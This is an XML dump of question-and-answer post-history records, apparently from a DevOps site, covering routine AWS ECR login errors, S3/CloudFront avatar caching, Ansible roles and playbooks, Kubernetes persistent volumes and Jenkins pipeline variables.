  <row Id="29443" PostHistoryTypeId="1" PostId="9827" RevisionGUID="c2e1ff45-cddd-4baa-b908-9fb872bc87a5" CreationDate="2019-11-17T17:21:11.283" UserId="18226" Text="How to dynamically create digital ocean droplets without password change?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29444" PostHistoryTypeId="3" PostId="9827" RevisionGUID="c2e1ff45-cddd-4baa-b908-9fb872bc87a5" CreationDate="2019-11-17T17:21:11.283" UserId="18226" Text="&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29445" PostHistoryTypeId="2" PostId="9828" RevisionGUID="70e74105-5551-43b7-b13e-26a84a05025f" CreationDate="2019-11-17T17:47:20.650" UserId="18226" Text="After more tests, I found out that in order to do this, I need to use an ssh key with the API. The password change phase is bypassed after this." ContentLicense="CC BY-SA 4.0" />
  <row Id="29446" PostHistoryTypeId="2" PostId="9829" RevisionGUID="221af0ab-131a-4d75-83f3-0615a7f212f4" CreationDate="2019-11-17T18:02:34.110" UserId="12138" Text="The error shows that you are using `AWS ECR` credentials to login to dockerhub which will not work. `Dockerhub` is a different registry(both public and private), however `ECR` is private registry only.&#xD;&#xA;&#xD;&#xA;For pulling public images from `dockerhub` there is no need to login to dockerhub. You can simply use `docker pull` command and it will pull an image from dockerhub registry.&#xD;&#xA;&#xD;&#xA;Example: `docker pull mongo`&#xD;&#xA;&#xD;&#xA;However, when you want to pull an image from `ECR`, you need to first login to the `AWS ECR` and then only you can pull an image from `ECR`.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29447" PostHistoryTypeId="2" PostId="9830" RevisionGUID="c4319b13-8f35-4dfc-9c97-477aade28186" CreationDate="2019-11-17T18:43:42.150" UserId="12138" Text="Please see the below lines from the AWS ECR docs. (https://docs.aws.amazon.com/AmazonECR/latest/userguide/docker-push-ecr-image.html)&#xD;&#xA;&#xD;&#xA;`&#xD;&#xA;Authenticate your Docker client to the Amazon ECR registry to which you intend to push your image. Authentication tokens must be obtained for each registry used, and the tokens are valid for 12 hours.&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;Since you have already an IAM role to EC2 instance which will allow ECR access, you need to first get the authentication details (username and password) and login to ECR.&#xD;&#xA;&#xD;&#xA;You can see various methods [here][1] to find out how you can get the authentication details and use them to login to ECR first. &#xD;&#xA;Once you are logged in, the you can seamlessly push images to ECR repo.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonECR/latest/userguide/registries.html#registry_auth" ContentLicense="CC BY-SA 4.0" />
  <row Id="29448" PostHistoryTypeId="5" PostId="9826" RevisionGUID="e674ae29-51cc-4d85-ba3f-31fc753314be" CreationDate="2019-11-17T18:50:51.443" UserId="18221" Comment="added 453 characters in body" Text="On my site I have the ability for users to upload avatars (which they upload to s3). They can only have one avatar at the moment, so I currently just have the filename set to their user id.&#xD;&#xA;&#xD;&#xA;However, they may replace their avatars, which causes issues. Because the s3 is propagating to CloudFront, I need to invalidate the cache for the filename when they upload their new avatar (because it replaces the old avatar file). But with CloudFront invalidations are expensive.&#xD;&#xA;&#xD;&#xA;It almost seems like Amazon would prefer I just not delete the old files, and instead just give the new avatar a new name and leave the old one in there, even though it's no longer being used by anyone. That way I can avoid the invalidation.&#xD;&#xA;&#xD;&#xA;The other option is not to use CloudFront at all, and just upload to s3, and make the s3 bucket public. But the problem with this is that CloudFront is much more generous with their GET request costs and amounts (2,000,000 per month with CloudFront and only 20,000 per month with S3 buckets).&#xD;&#xA;&#xD;&#xA;Basically, I have these 3 options, and I'm not sure which to pick, given the above:&#xD;&#xA;&#xD;&#xA;1) Replace the files in s3 and then invalidate the file in CloudFront&#xD;&#xA;&#xD;&#xA;   * **Problem:** invalidations are expensive&#xD;&#xA;&#xD;&#xA;2) Just dump more files in the s3 bucket and use CloudFront&#xD;&#xA;&#xD;&#xA;   * **Problem:** the old, unused avatars just sit there wasting s3 bucket space&#xD;&#xA;&#xD;&#xA;3) Don't use CloudFront, and just replace the file in s3 and then serve it from the bucket&#xD;&#xA;&#xD;&#xA;   * **Problem:** CloudFront has cheaper GET requests and better user experience with latency&#xD;&#xA;&#xD;&#xA;**Edit**: In this case, I'm asking about AWS with s3 and CloudFront. I'm looking to most effectively automate the process by which a user can upload an avatar to my backend service. Specifically, the overwriting of old avatars has me confused. The general process flow of &quot;PreSigned URL -&gt; Upload to s3 -&gt; Propagate via CloudFront&quot; seems an adequate one, but I'm not sure how to accommodate the overwriting of old, no longer used files in this plan, considering the choose seems to be between an expensive invalidation, or the keeping of stale files." ContentLicense="CC BY-SA 4.0" />
  <row Id="29449" PostHistoryTypeId="5" PostId="9826" RevisionGUID="18545be8-f7e1-44ab-a70a-2ebaf3ba179c" CreationDate="2019-11-17T19:05:55.443" UserId="18221" Comment="edited body" Text="On my site I have the ability for users to upload avatars (which they upload to s3). They can only have one avatar at the moment, so I currently just have the filename set to their user id.&#xD;&#xA;&#xD;&#xA;However, they may replace their avatars, which causes issues. Because the s3 is propagating to CloudFront, I need to invalidate the cache for the filename when they upload their new avatar (because it replaces the old avatar file). But with CloudFront invalidations are expensive.&#xD;&#xA;&#xD;&#xA;It almost seems like Amazon would prefer I just not delete the old files, and instead just give the new avatar a new name and leave the old one in there, even though it's no longer being used by anyone. That way I can avoid the invalidation.&#xD;&#xA;&#xD;&#xA;The other option is not to use CloudFront at all, and just upload to s3, and make the s3 bucket public. But the problem with this is that CloudFront is much more generous with their GET request costs and amounts (2,000,000 per month with CloudFront and only 20,000 per month with S3 buckets).&#xD;&#xA;&#xD;&#xA;Basically, I have these 3 options, and I'm not sure which to pick, given the above:&#xD;&#xA;&#xD;&#xA;1) Replace the files in s3 and then invalidate the file in CloudFront&#xD;&#xA;&#xD;&#xA;   * **Problem:** invalidations are expensive&#xD;&#xA;&#xD;&#xA;2) Just dump more files in the s3 bucket and use CloudFront&#xD;&#xA;&#xD;&#xA;   * **Problem:** the old, unused avatars just sit there wasting s3 bucket space&#xD;&#xA;&#xD;&#xA;3) Don't use CloudFront, and just replace the file in s3 and then serve it from the bucket&#xD;&#xA;&#xD;&#xA;   * **Problem:** CloudFront has cheaper GET requests and better user experience with latency&#xD;&#xA;&#xD;&#xA;**Edit**: In this case, I'm asking about AWS with s3 and CloudFront. I'm looking to most effectively automate the process by which a user can upload an avatar to my backend service. Specifically, the overwriting of old avatars has me confused. The general process flow of &quot;PreSigned URL -&gt; Upload to s3 -&gt; Propagate via CloudFront&quot; seems an adequate one, but I'm not sure how to accommodate the overwriting of old, no longer used files in this plan, considering the choice seems to be between an expensive invalidation, or the keeping of stale files." ContentLicense="CC BY-SA 4.0" />
  <row Id="29450" PostHistoryTypeId="2" PostId="9831" RevisionGUID="eee55f7e-ee39-49b4-9bcc-f93b2e6ce223" CreationDate="2019-11-17T19:52:13.507" UserId="18228" Text="The docker login failed.&#xD;&#xA;&#xD;&#xA;Error response from daemon: Get https://https/v2/: dial tcp: lookup https: Temporary failure in name resolution&#xD;&#xA;&#xD;&#xA;The url is invalid.&#xD;&#xA;&#xD;&#xA;change from &#xD;&#xA;&#xD;&#xA;`docker login -u AWS -p ******** https:/123456790.dkr.ecr.us-east-1.amazonaws.com`&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;`docker login -u AWS -p ******** 123456790.dkr.ecr.us-east-1.amazonaws.com`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29451" PostHistoryTypeId="2" PostId="9832" RevisionGUID="b828968e-8daa-4e55-84a8-0b04302a0067" CreationDate="2019-11-17T20:37:18.380" UserId="16819" Text="Ansible has tasks, roles, plays and playbooks.  &#xD;&#xA;&#xD;&#xA;Are those just names for different levels in a playbook organization?  &#xD;&#xA;&#xD;&#xA;If not, how, exactly, do they differ from and relate to each other?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29452" PostHistoryTypeId="1" PostId="9832" RevisionGUID="b828968e-8daa-4e55-84a8-0b04302a0067" CreationDate="2019-11-17T20:37:18.380" UserId="16819" Text="Ansible: What's the difference between task, role, play and playbook?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29453" PostHistoryTypeId="3" PostId="9832" RevisionGUID="b828968e-8daa-4e55-84a8-0b04302a0067" CreationDate="2019-11-17T20:37:18.380" UserId="16819" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29454" PostHistoryTypeId="2" PostId="9833" RevisionGUID="9e38a9c7-bdb6-43d2-bb26-49b8eca38c44" CreationDate="2019-11-17T20:37:18.380" UserId="16819" Text="No, each has a different role and way of working.&#xD;&#xA;&#xD;&#xA;Starting with the easy ones:&#xD;&#xA;&#xD;&#xA;A **playbook** is simply a list of plays.  The highest level of a playbook YAML is a list, and on that list only two things are accepted: a play definition or the keyword `import_playbook`, which imports a list of plays from another playbook file, as if they were defined in that place of the calling file.&#xD;&#xA;&#xD;&#xA;The playbook is also the only thing that can be called directly from `ansible-playbook`.&#xD;&#xA;&#xD;&#xA;A **task** is, paraphrasing the [manual](https://docs.ansible.com/ansible/2.9/user_guide/playbooks_intro.html#playbook-language-example), '*nothing more than a call to an ansible module*'.  That call definition, however, knows nothing of on which hosts it is supposed to run on. &#xD;&#xA;&#xD;&#xA;The **play** is the element that ties tasks to the servers where they'll run.  The key element here is the mandatory keyword `hosts`.  This is the part of Ansible that tells which hosts are being affected and how.&#xD;&#xA;&#xD;&#xA;So, the structure and behavior is as follows:&#xD;&#xA;&#xD;&#xA;* Playbook: the highest level, just a list of plays&#xD;&#xA;  * Play: ties tasks to host lists&#xD;&#xA;     * Tasks: definition of a call to a module&#xD;&#xA;     * Besides tasks, a play may have pre-tasks, post-tasks and handlers, which are all task-like&#xD;&#xA;&#xD;&#xA;A **role** is a different thing, as it is not defined within a playbook.  Instead, they each have their own subdirectory under the directory `roles`.  The objective of roles is to organize things.  So, under the role's subdir, you can find tasks, handlers, files and templates, variables and defaults.  All of these related to that specific role.&#xD;&#xA;&#xD;&#xA;So, roles are an easy way to encapsulate and share Ansible information.  You could have a subdir in `templates` per task, for example.  But if you wanted to share that task, you'd have to pick the template as well.  With roles, you can just zip the role dir and (almost) everything should be there.&#xD;&#xA;&#xD;&#xA;Like a play, the role defines tasks and handlers.  However, roles do not define on which hosts the role will be run.  So roles must be referenced to from a play.&#xD;&#xA;&#xD;&#xA;Roles can also declare dependencies (that is, references to other roles that need to be run before the declaring one).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;*PS1. Most of this information is available piecemeal on SO (except for playbooks, I couldn't find a proper definition of that on the documentation or elsewhere in the Internet), but I haven't found a comparison between them all, and it took me some time to figure this all out, so I'm sharing that by answering my own question.*&#xD;&#xA;&#xD;&#xA;*PS2. I really don't like the fact that roles are named 'roles'.  It sounds a bit counter intuitive to me.  The word 'role' alone alludes to user roles or server roles, to me.  So something more related to Tower (users) or inventory (servers).  I think the rationale for that naming is that they define 'one of the roles that a server functions'.  Same could be said of plays, but roles are more abstract as they're not tied to specific hosts.  Still, I find that naming confusing.*" ContentLicense="CC BY-SA 4.0" />
  <row Id="29455" PostHistoryTypeId="2" PostId="9834" RevisionGUID="12625943-f71d-446d-9274-f9d515c5d28b" CreationDate="2019-11-17T20:47:49.387" UserId="3525" Text="For the best performance naming many small files in an s3 bucket may not be the best idea unless they user_id is a random string. See how the S3 hashing algorithm works https://aws.amazon.com/blogs/aws/amazon-s3-performance-tips-tricks-seattle-hiring-event/&#xD;&#xA;&#xD;&#xA;So replacing it by a random hashed value may not be that bad. Of course you need to store the hash in the user profile or you need to calculate it from something. If you add something like profile id or last changed timestamp you can do sha1/md5 of (userid+lastchanged) and if you update timestamp you has the hash of the current avatar. &#xD;&#xA;&#xD;&#xA;The older one you can simply delete. CloudFront will remove it from its cache after expiration https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Expiration.html&#xD;&#xA;&#xD;&#xA;This will more complex algorithm, but if the costs are the concern, a little bit of extra work seems to be a reasonable approach. Not sure how do you handle the uploads, but it may be a good opportunity to play a bit with step functions which would make sure that the new avatar is uploaded correctly and then the old one is removed as well. &#xD;&#xA;&#xD;&#xA;It's kind of a programming question, but I get your point - it is very specific to AWS environment and requires a particular knowledge about how the infrastructure works. " ContentLicense="CC BY-SA 4.0" />
  <row Id="29456" PostHistoryTypeId="2" PostId="9835" RevisionGUID="efce14a2-3ef9-4631-b49c-c40c62e76311" CreationDate="2019-11-17T23:47:02.710" UserId="7730" Text="I'd ask the question the other way around, rather than will Docker CE continue to share the Docker Enterprise codebase, it's whether Docker Enterprise will continue to share the upstream Docker CE / Moby codebase. They've always maintained an internal closed source fork for the Enterprise code, which has additional features. However, the development process of CE has always been open source, and features added to CE were mirrored from CE to the Enterprise codebase. The acquisition of Enterprise didn't change that it was already a fork of CE. And the acquisition did not include the CE code or any of the other open source projects, those continue to be managed by Docker, which they will maintain as a core component to their business (CE is embedded in the various Desktop products, and Hub has little value without it).&#xD;&#xA;&#xD;&#xA;The biggest downside I see to the acquisition is the loss of staff from Docker to Mirantis. I'm sure many people had a dual role working on Enterprise and CE, and a significant chunk of the staff went to Mirantis. That said, the CE repos are open source, Mirantis staff can submit PR's for changes they'd like usptream, and they can pull down new releases of CE into the Enterprise product. The end result for users may end up looking identical to what we have today, just two close companies coordinating, rather than two sides of the same company. From an open source perspective, having more outside contributions is actually a good thing, since it forces governance and planning into the open, that in the past may have happened with internal meetings.&#xD;&#xA;&#xD;&#xA;Disclaimer: I have been exposed to private discussions from the Captains program on this topic (not much since they are still working this out) and have done my best to keep my answer to only the public knowledge." ContentLicense="CC BY-SA 4.0" />
  <row Id="29457" PostHistoryTypeId="2" PostId="9836" RevisionGUID="3bec6223-2553-4ee1-9de0-7e2e0e171abe" CreationDate="2019-11-18T10:47:58.580" UserId="2708" Text="From a security perspective, I don't like the idea of relying only on Git tags, as they could be moved later. Unfortunately, I'm not aware  of an official solution to enforce checks.&#xD;&#xA;&#xD;&#xA;This is the best that I could come up with:&#xD;&#xA;&#xD;&#xA;    # requirements.yaml:&#xD;&#xA;    - src: git+https://github.com/geerlingguy/ansible-role-nodejs.git&#xD;&#xA;      version: 405a113ccbde0c99614f6f815fb4285cb742ad25 # == release 5.0.0&#xD;&#xA;      name: geerlingguy.nodejs.trusted_hash&#xD;&#xA;&#xD;&#xA;And in the playbook, use it as:&#xD;&#xA;&#xD;&#xA;    - roles:&#xD;&#xA;      - role: geerlingguy.nodejs.trusted_hash&#xD;&#xA;        nodejs_version: &quot;12.x&quot;&#xD;&#xA;&#xD;&#xA;It works, but feels a bit overly complicated. Is there an easier way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29458" PostHistoryTypeId="1" PostId="9836" RevisionGUID="3bec6223-2553-4ee1-9de0-7e2e0e171abe" CreationDate="2019-11-18T10:47:58.580" UserId="2708" Text="How to verify hashes of Ansible Galaxy dependencies?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29459" PostHistoryTypeId="3" PostId="9836" RevisionGUID="3bec6223-2553-4ee1-9de0-7e2e0e171abe" CreationDate="2019-11-18T10:47:58.580" UserId="2708" Text="&lt;ansible&gt;&lt;security&gt;&lt;ansible-galaxy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29460" PostHistoryTypeId="2" PostId="9837" RevisionGUID="69069960-c9bc-4c96-a1f8-ca6de4a0c855" CreationDate="2019-11-18T10:48:08.537" UserId="210" Text="Today `8.5.49` was returned as a 'stable' version, while it should have been `8.5.47`. The following:&#xD;&#xA;&#xD;&#xA;    URL=https://tomcat.apache.org/download-80.cgi&#xD;&#xA;    curl -s $URL  | grep &quot;8\.5\.[0-9]\+&lt;/a&gt;&quot; | sed -e 's|.*&gt;\(.*\)&lt;.*|\1|g'&#xD;&#xA;&#xD;&#xA;returns:&#xD;&#xA;&#xD;&#xA;    8.5.47" ContentLicense="CC BY-SA 4.0" />
  <row Id="29462" PostHistoryTypeId="2" PostId="9839" RevisionGUID="08b87a1e-4c9b-47a0-acf7-3b2712ea8c28" CreationDate="2019-11-18T14:20:05.230" UserId="8505" Text="I don't think what you want to do is possible. &#xD;&#xA;&#xD;&#xA;I suggest you to use a managed compute environment so you don't care about cluster resources. Set the min and max CPU for the compute environment. Then only set the resources needed by your jobs and batch will add compute capacity on demand. &#xD;&#xA;&#xD;&#xA;Your costs will be the same because batch will create an ASG and ECS cluster but it only charges you for EC2 instances.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="29465" PostHistoryTypeId="19" PostId="5205" RevisionGUID="3c3cd7d7-f856-4343-89b0-7aaa85f33956" CreationDate="2019-11-18T14:20:44.487" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]}" />
  <row Id="29466" PostHistoryTypeId="2" PostId="9840" RevisionGUID="865612c8-bda1-4f71-8bdb-ae0cef6f8c1d" CreationDate="2019-11-18T14:41:50.160" UserId="2708" Text="The feature is currently (Nov 2019) not directly supported in Ansible Galaxy.&#xD;&#xA;&#xD;&#xA;There have been related discussions in the past ([#14604][1] and [#1358][2]), but the latest state can be followed in the new issue [#2108][3].&#xD;&#xA;&#xD;&#xA;In the meantime, the workaround described in the question can be used, at the cost of some verbosity.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible/issues/14604&#xD;&#xA;  [2]: https://github.com/ansible/galaxy/issues/1358&#xD;&#xA;  [3]: https://github.com/ansible/galaxy/issues/2108" ContentLicense="CC BY-SA 4.0" />
  <row Id="29467" PostHistoryTypeId="2" PostId="9841" RevisionGUID="c0c8cad1-7a03-4543-aee7-33c169a0bbd7" CreationDate="2019-11-18T15:52:04.177" UserId="18249" Text="I have a Kubernetes cluster based on 3 hosts managed via Rancher &#xD;&#xA;&#xD;&#xA;I've created Persistent Volume on the first host and use it via a claim by a PostgreSQL pod. My app is generating and storing there some data.&#xD;&#xA;&#xD;&#xA;Kubernetes docs state that &quot;Persistent volume lasts through &quot;Cluster lifetime&quot;.&#xD;&#xA;&#xD;&#xA;My question is - if I will delete a cluster and then create it again, and then create Persistent Volume on the same host (first one) with the same configuration will data be still there?&#xD;&#xA;&#xD;&#xA;My confusion stems from the fact that I don't quite get what is considered as &quot;persistence&quot; here. &quot;Persistent Volume&quot; entity within-cluster will obviously get deleted with a cluster. But whats about the data?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29468" PostHistoryTypeId="1" PostId="9841" RevisionGUID="c0c8cad1-7a03-4543-aee7-33c169a0bbd7" CreationDate="2019-11-18T15:52:04.177" UserId="18249" Text="Will data contained withing Persistent Volume survive cluster deletion?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29469" PostHistoryTypeId="3" PostId="9841" RevisionGUID="c0c8cad1-7a03-4543-aee7-33c169a0bbd7" CreationDate="2019-11-18T15:52:04.177" UserId="18249" Text="&lt;kubernetes&gt;&lt;rancher&gt;&lt;persistent-volumes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29471" PostHistoryTypeId="2" PostId="9842" RevisionGUID="8e5e9c2b-c018-4ddb-a8bb-7c1eabf04f70" CreationDate="2019-11-18T16:03:31.430" UserId="17508" Text="It depends on what your `persistentVolumeReclaimPolicy` is. If you manually created/defined the PersistentVolume, then the default action is to keep the data. (This sounds like what you're doing.) &#xD;&#xA;&#xD;&#xA;If you are using something like EKS on Amazon, your PV's are dynamically generated EBS volumes. In that case, they will be deleted by default.&#xD;&#xA;&#xD;&#xA;A little bit more about reclamation: https://kubernetes.io/docs/concepts/storage/persistent-volumes/#reclaiming" ContentLicense="CC BY-SA 4.0" />
  <row Id="29472" PostHistoryTypeId="5" PostId="9839" RevisionGUID="8ce78a96-b5ff-4cc8-b4c3-54306d5e1fd4" CreationDate="2019-11-18T18:02:53.290" UserId="8505" Comment="added 103 characters in body" Text="I don't think what you want to do is possible. &#xD;&#xA;&#xD;&#xA;I suggest you to use a managed compute environment so you don't care about cluster resources. Set the min and max CPU for the compute environment (min 0 is recommended so you don't waste many when no jobs are running). Then only set the resources needed by your jobs and batch will add compute capacity to satisfy the demand. &#xD;&#xA;&#xD;&#xA;Your costs will be the same because batch will create an ASG(autoscaling group) and ECS cluster but it only charges you for EC2 instances.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="29476" PostHistoryTypeId="2" PostId="9844" RevisionGUID="bc1b9741-b76f-4e08-bb70-1641608f31ff" CreationDate="2019-11-18T18:09:39.730" UserId="18007" Text="I have the below code in the jenkisn pipeline:&#xD;&#xA;&#xD;&#xA;       stage (&quot;amd_distribution_input_transformation&quot;){&#xD;&#xA;            steps{&#xD;&#xA;                script{&#xD;&#xA;                        amd_distribution_input_transformation url: params.DOMAIN_DESCRIPTOR_URL, secret: params.CERDENITAL_ID&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;groovy code:&#xD;&#xA;&#xD;&#xA;    def call(Map parameters)&#xD;&#xA;    {&#xD;&#xA;        def CREDENITAL_ID = parameters.secret&#xD;&#xA;        def DOMAIN_DESCRIPTOR_URL = parameters.url&#xD;&#xA;        final fileContent = libraryResource('com/amdocs/jfrog/methods/amd_distribution_input_transformation.py')&#xD;&#xA;        writeFile file: 'amd_distribution_input_transformation.py', text: fileContent&#xD;&#xA;        withCredentials([usernamePassword(credentialsId: CREDENITAL_ID, passwordVariable: 'NEXUS_PASS',  usernameVariable: 'NEXUS_USER')]) {&#xD;&#xA;            sh '''&#xD;&#xA;            export NEXUS_PASS=${NEXUS_PASS}&#xD;&#xA;            export NEXUS_USER=${NEXUS_USER}&#xD;&#xA;            python amd_distribution_input_transformation.py&#xD;&#xA;          '''&#xD;&#xA;        }             &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;in the amd_distribution_input_transformation.py some code is running, and at the end, it returns JSON object named 'artifacts_list'&#xD;&#xA;&#xD;&#xA;my question is, how can I access this object in my next stage in the pipeline:&#xD;&#xA;&#xD;&#xA;    stage (&quot;create bundle&quot;){&#xD;&#xA;                steps{&#xD;&#xA;                    script{&#xD;&#xA;                        amd_distribution_create_bundle credential_id: artifacts_list&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }" ContentLicense="CC BY-SA 4.0" />
  <row Id="29477" PostHistoryTypeId="1" PostId="9844" RevisionGUID="bc1b9741-b76f-4e08-bb70-1641608f31ff" CreationDate="2019-11-18T18:09:39.730" UserId="18007" Text="How to pass groovy output to pipeline variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="29478" PostHistoryTypeId="3" PostId="9844" RevisionGUID="bc1b9741-b76f-4e08-bb70-1641608f31ff" CreationDate="2019-11-18T18:09:39.730" UserId="18007" Text="&lt;jenkins-pipeline&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29479" PostHistoryTypeId="2" PostId="9845" RevisionGUID="a3a7cb99-d637-4f71-8360-7734494c17c0" CreationDate="2019-11-18T18:55:16.337" UserId="4115" Text="I use [Pipeline Shared Libraries](https://jenkins.io/doc/book/pipeline/shared-libraries/) to share a single build pipeline across roughly 180 different repositories.&#xD;&#xA;&#xD;&#xA;The pipeline itself is defined in a function in the shared library, and the Jenkinsfile for all of the repos is just a one-liner that calls that function.&#xD;&#xA;&#xD;&#xA;There's also an example of how to share a build pipeline using shared libraries [in an official Jenkins blog post](https://jenkins.io/blog/2017/10/02/pipeline-templates-with-shared-libraries/)." ContentLicense="CC BY-SA 4.0" />
  <row Id="29480" PostHistoryTypeId="2" PostId="9846" RevisionGUID="a803d234-a10e-42ae-bfe3-fe603bfb4393" CreationDate="2019-11-18T19:47:50.183" UserId="18253" Text="I'm working with yaml files built for an older version of the API&#xD;&#xA;&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;&#xD;&#xA;I tried changing to &#xD;&#xA;&#xD;&#xA;    apiVersion: apps/v1 &#xD;&#xA;&#xD;&#xA;But couldn't figure out the correct &quot;selector&quot; formatting. So I changed back to v1beta1&#xD;&#xA;&#xD;&#xA;Then I ran across this command:&#xD;&#xA;&#xD;&#xA;    kubectl convert -f . | kubectl -n robot-shop create -f -&#xD;&#xA;&#xD;&#xA;All seemed to deploy correctly. But now when I try to reach my app, I get connection refused. After some investigation, I took a look at iptables and see this:&#xD;&#xA;&#xD;&#xA;    iptables -L | grep 30080&#xD;&#xA;    REJECT     tcp  --  0.0.0.0/0            0.0.0.0/0            &#xD;&#xA;    /* robot-shop/web:8080 has no endpoints */ ADDRTYPE match &#xD;&#xA;    dst-type LOCAL tcp dpt:30080 reject-with icmp-port- &#xD;&#xA;    unreachable&#xD;&#xA;&#xD;&#xA;After some more research, this seems to have something to do with kube-proxy and &quot;selector&quot;.&#xD;&#xA;&#xD;&#xA;Question is, what's the right course of action? &lt;br&gt;&#xD;&#xA;1. Change the fw rule to ACCEPT&lt;br&gt;&#xD;&#xA;2. make the correct changes to yaml file (need help with that)&lt;br&gt;&#xD;&#xA;&amp;emsp;a. If so, do I delete the deployment and then make correct changes, then redeploy?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29481" PostHistoryTypeId="1" PostId="9846" RevisionGUID="a803d234-a10e-42ae-bfe3-fe603bfb4393" CreationDate="2019-11-18T19:47:50.183" UserId="18253" Text="Kubernetes - Deploying older version of app in new API" ContentLicense="CC BY-SA 4.0" />
  <row Id="29482" PostHistoryTypeId="3" PostId="9846" RevisionGUID="a803d234-a10e-42ae-bfe3-fe603bfb4393" CreationDate="2019-11-18T19:47:50.183" UserId="18253" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29483" PostHistoryTypeId="5" PostId="9844" RevisionGUID="6c87c507-0a7c-41c5-ab20-c51e47516b03" CreationDate="2019-11-18T20:14:30.027" UserId="18007" Comment="deleted 347 characters in body" Text="I have the below code in the jenkisn pipeline:&#xD;&#xA;&#xD;&#xA;       stage (&quot;amd_distribution_input_transformation&quot;){&#xD;&#xA;            steps{&#xD;&#xA;                script{&#xD;&#xA;                        amd_distribution_input_transformation url: params.DOMAIN_DESCRIPTOR_URL, secret: params.CERDENITAL_ID&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;groovy code:&#xD;&#xA;&#xD;&#xA;    def call(Map parameters)&#xD;&#xA;    {&#xD;&#xA;        def CREDENITAL_ID = parameters.secret&#xD;&#xA;        def DOMAIN_DESCRIPTOR_URL = parameters.url&#xD;&#xA;        sh '''&#xD;&#xA;            python amd_distribution_input_transformation.py&#xD;&#xA;          '''&#xD;&#xA;        }             &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;in the amd_distribution_input_transformation.py some code is running, and at the end, it returns JSON object named 'artifacts_list'&#xD;&#xA;&#xD;&#xA;my question is, how can I access this object in my next stage in the pipeline:&#xD;&#xA;&#xD;&#xA;    stage (&quot;create bundle&quot;){&#xD;&#xA;                steps{&#xD;&#xA;                    script{&#xD;&#xA;                        amd_distribution_create_bundle credential_id: artifacts_list&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }" ContentLicense="CC BY-SA 4.0" />
  <row Id="29484" PostHistoryTypeId="2" PostId="9847" RevisionGUID="ffd37beb-a113-42be-a3a7-2b0826f1f831" CreationDate="2019-11-18T20:39:44.510" UserId="18254" Text="We are looking at moving to a trunk based development branching strategy rather than gitflow that we currently use. I understand that feature flags are crucial to trunk based development. However, is there still a place for versioning APIs if I am using feature flags to control exposure of new features across UI and APIs?&#xD;&#xA;&#xD;&#xA;All of our APIs are are internal to our application and are not exposed directly to  a third party. Even in a case like changes in schema for response/requests - those could be treated as a new feature and handled via a feature flag to enable dark deployments etc. So, what would be a good case to still use API versioning if I have feature flags going?&#xD;&#xA;&#xD;&#xA;Will appreciate any thoughts from your experience or any good articles you have come across related to this topic.&#xD;&#xA;&#xD;&#xA;Thank you - VK" ContentLicense="CC BY-SA 4.0" />
  <row Id="29485" PostHistoryTypeId="1" PostId="9847" RevisionGUID="ffd37beb-a113-42be-a3a7-2b0826f1f831" CreationDate="2019-11-18T20:39:44.510" UserId="18254" Text="feature flags vs versioning for APIs" ContentLicense="CC BY-SA 4.0" />
  <row Id="29486" PostHistoryTypeId="3" PostId="9847" RevisionGUID="ffd37beb-a113-42be-a3a7-2b0826f1f831" CreationDate="2019-11-18T20:39:44.510" UserId="18254" Text="&lt;continuous-integration&gt;&lt;cicd&gt;&lt;versioning&gt;&lt;feature-toggles&gt;&lt;feature-flags&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29487" PostHistoryTypeId="2" PostId="9848" RevisionGUID="347c7def-8888-4535-904d-aba287ea9810" CreationDate="2019-11-18T20:45:05.053" UserId="12138" Text="You can send the output of your python script to `stdout` and capture it in a environment variable and that variable can be passed to other stages in the pipeline. Also, the environment variables can be used inside the scripts.&#xD;&#xA;&#xD;&#xA;You can do something like this:&#xD;&#xA;&#xD;&#xA;    def call(Map parameters)&#xD;&#xA;    {&#xD;&#xA;        def CREDENITAL_ID = parameters.secret&#xD;&#xA;        def DOMAIN_DESCRIPTOR_URL = parameters.url&#xD;&#xA;        env.artifacts = sh(script: &quot;python amd_distribution_input_transformation.py&quot;, returnStdout: true )&#xD;&#xA;          &#xD;&#xA;        }             &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Here, the output of the script `amd_distribution_input_transformation.py` will be stored in the variable `artifacts` and will be available further.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
